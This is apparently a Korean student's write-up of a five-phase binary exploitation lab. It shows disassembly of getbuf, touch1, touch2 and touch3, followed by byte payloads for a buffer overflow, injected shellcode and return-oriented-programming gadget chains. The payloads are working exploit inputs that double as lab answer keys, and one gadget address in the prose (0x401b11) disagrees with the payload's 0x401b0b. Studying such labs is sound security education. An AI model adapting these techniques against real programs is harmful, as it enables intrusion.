1. Phase 1

```
(gdb) disass getbuf
Dump of assembler code for function getbuf:
   0x0000000000401843 <+0>:     sub    $0x28,%rsp
   0x0000000000401847 <+4>:     mov    %rsp,%rdi
   0x000000000040184a <+7>:     callq  0x401acd <Gets>
   0x000000000040184f <+12>:    mov    $0x1,%eax
   0x0000000000401854 <+17>:    add    $0x28,%rsp
   0x0000000000401858 <+21>:    retq
End of assembler dump.
```

getbuf 함수를 보면 0x28만큼 스택에서 할당받고 있음을 알 수 있고, buffer overflow를 통해 touch1 함수 실행을 유도하려면 0x28만큼을 다 채운 후 touch1 함수의 위치를 적어주면 된다.

```
(gdb) disass touch1
Dump of assembler code for function touch1:
   0x0000000000401859 <+0>:     sub    $0x8,%rsp
   0x000000000040185d <+4>:     movl   $0x1,0x202c95(%rip)        # 0x6044fc <vl
evel>
   0x0000000000401867 <+14>:    mov    $0x4031b9,%edi
   0x000000000040186c <+19>:    callq  0x400cc0 <puts@plt>
   0x0000000000401871 <+24>:    mov    $0x1,%edi
   0x0000000000401876 <+29>:    callq  0x401d22 <validate>
   0x000000000040187b <+34>:    mov    $0x0,%edi
   0x0000000000401880 <+39>:    callq  0x400e30 <exit@plt>
End of assembler dump.
```

touch1 함수의 위치가 0x401859이므로 답은

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
59 18 40 00 00 00 00 00
```

이다. 맨 하단의 주소 값은 little-endian 형식으로 작성하였다.

2. Phase 2

Writeup에 제공된 소스코드를 보면 1번째 매개변수인 val이 cookie와 일치할 경우 통과임을 알 수 있다.

```
1  void touch2(unsigned val)
2  {
3      vlevel = 2;        /* Part of validation protocol */
4      if (val == cookie) {
5          printf("Touch2!: You called touch2(0x%.8x)\n", val);
6          validate(2);
7      } else {
8          printf("Misfire: You called touch2(0x%.8x)\n", val);
9          fail(2);
10     }
11     exit(0);
12 }
```

val은 touch2 함수 실행 시 rdi에 들어있는 값이므로 touch2 함수 실행 전에 rdi에 cookie 값을 넣어주면 된다.

```
movq $0x53374143,%rdi
ret
```

해당 코드를 작성해 gcc, objdump로 해당 코드를 byte형식으로 변환할 수 있었다.

```
0000000000000000 <.text>:
   0:   48 c7 c7 43 41 37 53    mov    $0x53374143,%rdi
   7:   c3                      retq
```

Gets 된 문자열이 어디 저장되는지 알기 위해 Gets 함수 실행 후 바로 다음 줄에 bp를 걸고 rsp를 확인해 찾을 수 있었다.

```
(gdb) b *0x40184f
Breakpoint 1 at 0x40184f: file buf.c, line 16.
```

```
(gdb) print $rsp
$1 = (void *) 0x556353a8
```

따라서 답은 아래와 같다. 1번째 줄은 rdi에 cookie 값을 넣는 명령이고, 이후 줄은 buffer overflow를 위한 의미없는 내용들, 끝에서 2번째 줄은 1번째 줄에 있는 명령을 실행하기 위해 아까 얻어낸 Gets된 문

자열의 시작 위치(rsp)를 적었다. 마지막 줄은 touch2 함수를 실행하기 위한 위치이다.

```
48 c7 c7 43 41 37 53 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
a8 53 63 55 00 00 00 00
85 18 40 00 00 00 00 00
```

```
(gdb) disass touch2
Dump of assembler code for function touch2:
   0x0000000000401885 <+0>:     sub    $0x8,%rsp
```

3. Phase 3

```
48 c7 c7 e0 53 63 55 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
a8 53 63 55 00 00 00 00
96 19 40 00 00 00 00 00
35 33 33 37 34 31 34 33
```

2번과 거의 비슷한 방법으로 해결할 수 있었다.

Writeup에 제공된 c코드를 통해 cookie값(16진수)를 문자로 변환해서 비교하고, 같을 경우 통과하는 내용임을 알아내었고. 따라서 touch3("53374143")을 실행해야 함을 알았다.

2번의 답을 가져와서 마지막 줄에 있던 touch2의 위치를 touch3의 것으로 바꾸어주고, 맨 아래에 Cookie 값을 문자열로 변환한 것("53374143")을 추가해 주었다. 맨 아래에 Cookie 값을 넣은 이유는 Writeup의 내용 중 hexmatch와 strncmp 함수 호출 시 스택에 푸시하면서 원래 내용이 덮어씌워지는 것에 주의하라는 내용이 있어 가장 아래 쪽에 Cookie값을 한번 추가해보았다.

rdi에는 Cookie값을 문자열로 변환한 것의 위치가 들어가야 하므로(0x556353a8+0x38) 다시 gcc와 objdump를 통해 해당 기능을 하는 코드를 첫번째 줄에 추가해 주었더니 해결할 수 있었다.

```
movq $0x556353E0,%rdi
ret
```

```
0000000000000000 <.text>:
   0:   48 c7 c7 e0 53 63 55    mov    $0x556353e0,%rdi
   7:   c3                      retq
```

4. Phase 4

Phase 2 문제와 내용이 동일해 rdi에 cookie 값을 넣어야 함을 알 수 있었다. Phase 2와는 다르게 스택에서 코드를 실행할 수 없으므로 스택에 cookie값을 넣어두고 pop으로 꺼내는게 최선일 것 같았다. Writeup 내용을 보고 popq %rdi 가젯을 objdump를 통해 찾아보았으나 찾을 수 없었고, 401a49에서 popq %rax만 찾을 수 있었다.

```
0000000000401a47 <getval_335>:
  401a47:       b8 3a 58 90 90          mov    $0x9090583a,%eax
  401a4c:       c3                      retq
```

movq %rax, %rdi가 있는지 찾아보았고, 401a54에서 찾을 수 있어서 popq %rax 후 mov를 하기로 했다.

```
0000000000401a53 <getval_497>:
  401a53:       b8 48 89 c7 c3          mov    $0xc3c78948,%eax
  401a58:       c3                      retq
```

첫 5줄은 buffer overflow를 위한 의미없는 내용들이고, 6번째 줄은 위에서 찾은 popq의 위치이다. cookie 값이 pop 되어야 하므로 다음 줄에 cookie의 값을 넣어주었다. 이후 찾았던 movq의 위치를 적어주었고, 마지막에는 Phase 2에서 찾았던 touch2 함수의 위치를 적어주니 잘 통과할 수 있었다.

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
49 1a 40 00 00 00 00 00
43 41 37 53 00 00 00 00
54 1a 40 00 00 00 00 00
85 18 40 00 00 00 00 00
```

5. Phase 5

Phase 3과 같이 touch3 함수를 실행해야 되는 것을 writeup을 보고 알았고, 그러므로 똑같이 rdi에 "53374143" 문자열의 주소를 넣어주면 된다. 하지만 Phase 3과는 다르게 실행 전에 스택 주소를 특정할 수 없으므로 rsp의 값을 읽어와 문자열이 있는 곳을 가르키도록 값을 더해서 rdi에 저장하는 방법으로 해결 할 수 있을 것 같았다.

start_farm과 end_farm 사이에서 rsp를 mov하는 가젯들을 찾아보았는데, movq %rsp, %rax(48 89 e0)만 존재해(401b11) 어쩔 수 없이 rsp를 rax에 mov하고 movq rax, rdi 명령을 찾아 rsp를 rdi로 mov했다. (rsp -> rax -> rdi)

```
0000000000401b09 <addval_479>:
  401b09:       8d 87 48 89 e0 90       lea    -0x6f1f76b8(%rdi),%eax
  401b0f:       c3                      retq
```

(0x401b11 movq %rsp, %rax)

```
0000000000401a53 <getval_497>:
  401a53:       b8 48 89 c7 c3          mov    $0xc3c78948,%eax
  401a58:       c3                      retq
```

(0x401a54 movq %rax, %rdi)

이후 얻어온 rsp(rdi)값에 맨 마지막에 들어갈 cookie의 위치까지의 차만큼 더해주어야 하는데, 마침 farm 구간 내에 add_xy라는 2개의 파라미터를 읽어 더한 값을 리턴하는 함수를 찾을 수 있었다

```
0000000000401a6b <add_xy>:
  401a6b:       48 8d 04 37             lea    (%rdi,%rsi,1),%rax
  401a6f:       c3                      retq
```

add_xy의 파라미터로 아까 가져온 rsp값과 cookie 문자열까지의 거리를 넣어 더해주면 된다. rsp값은 이전에 rdi로 옮겼으므로 cookie까지의 거리만 rsi에 넣어주면 된다. pop 명령어를 통해 원하는 값(cookie까지의 거리)을 rsi에 넣어주려 했으나, pop %rax만 존재해(0x401a49) pop이후 eax를 esi까지 eax->edx->ecx->esi를 거쳐 옮겨주었다. (eax에서 esi로 옮기는 명령을 찾을 수 없어 거쳐서 옮기게 되었다.) (거리값은 임의로 지정해두고, 나머지 명령을 다 작성한 뒤 거리가 72(0x48)임을 계산할 수 있었다.)

```
0000000000401a47 <getval_335>:
  401a47:       b8 3a 58 90 90          mov    $0x9090583a,%eax
  401a4c:       c3                      retq
```

(0x401a49 pop %rax)

```
0000000000401ab2 <addval_102>:
  401ab2:       8d 87 89 c2 84 c9       lea    -0x367b3d77(%rdi),%eax
  401ab8:       c3                      retq
```

(0x401ab4 movl %eax, %edx)

```
0000000000401a70 <setval_135>:
  401a70:       c7 07 89 d1 90 90       movl   $0x9090d189,(%rdi)
  401a76:       c3                      retq
```

(0x401a72 movl %edx, %ecx)

```
0000000000401a77 <getval_490>:
  401a77:       b8 89 ce 20 c9          mov    $0xc920ce89,%eax
  401a7c:       c3                      retq
```

(0x401a78 movl %ecx, %esi)

이후 add_xy를 실행하고, return 값(rax)를 아까 찾은 0x401a54의 movq %rax, %rdi로 rdi에 옮긴 뒤, touch_3을 실행했더니 통과되었다.

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
0b 1b 40 00 00 00 00 00 /* rsp->rax */
54 1a 40 00 00 00 00 00 /* rax->rdi */
49 1a 40 00 00 00 00 00 /* pop->rax */
48 00 00 00 00 00 00 00 /* 72칸 뒤에 cookie */
b4 1a 40 00 00 00 00 00 /* eax->edx */
72 1a 40 00 00 00 00 00 /* edx->ecx */
78 1a 40 00 00 00 00 00 /* ecx->esi */
6b 1a 40 00 00 00 00 00 /* add_xy */
54 1a 40 00 00 00 00 00 /* rax->rdi */
96 19 40 00 00 00 00 00 /* touch_3 */
35 33 33 37 34 31 34 33 /* cookie */
```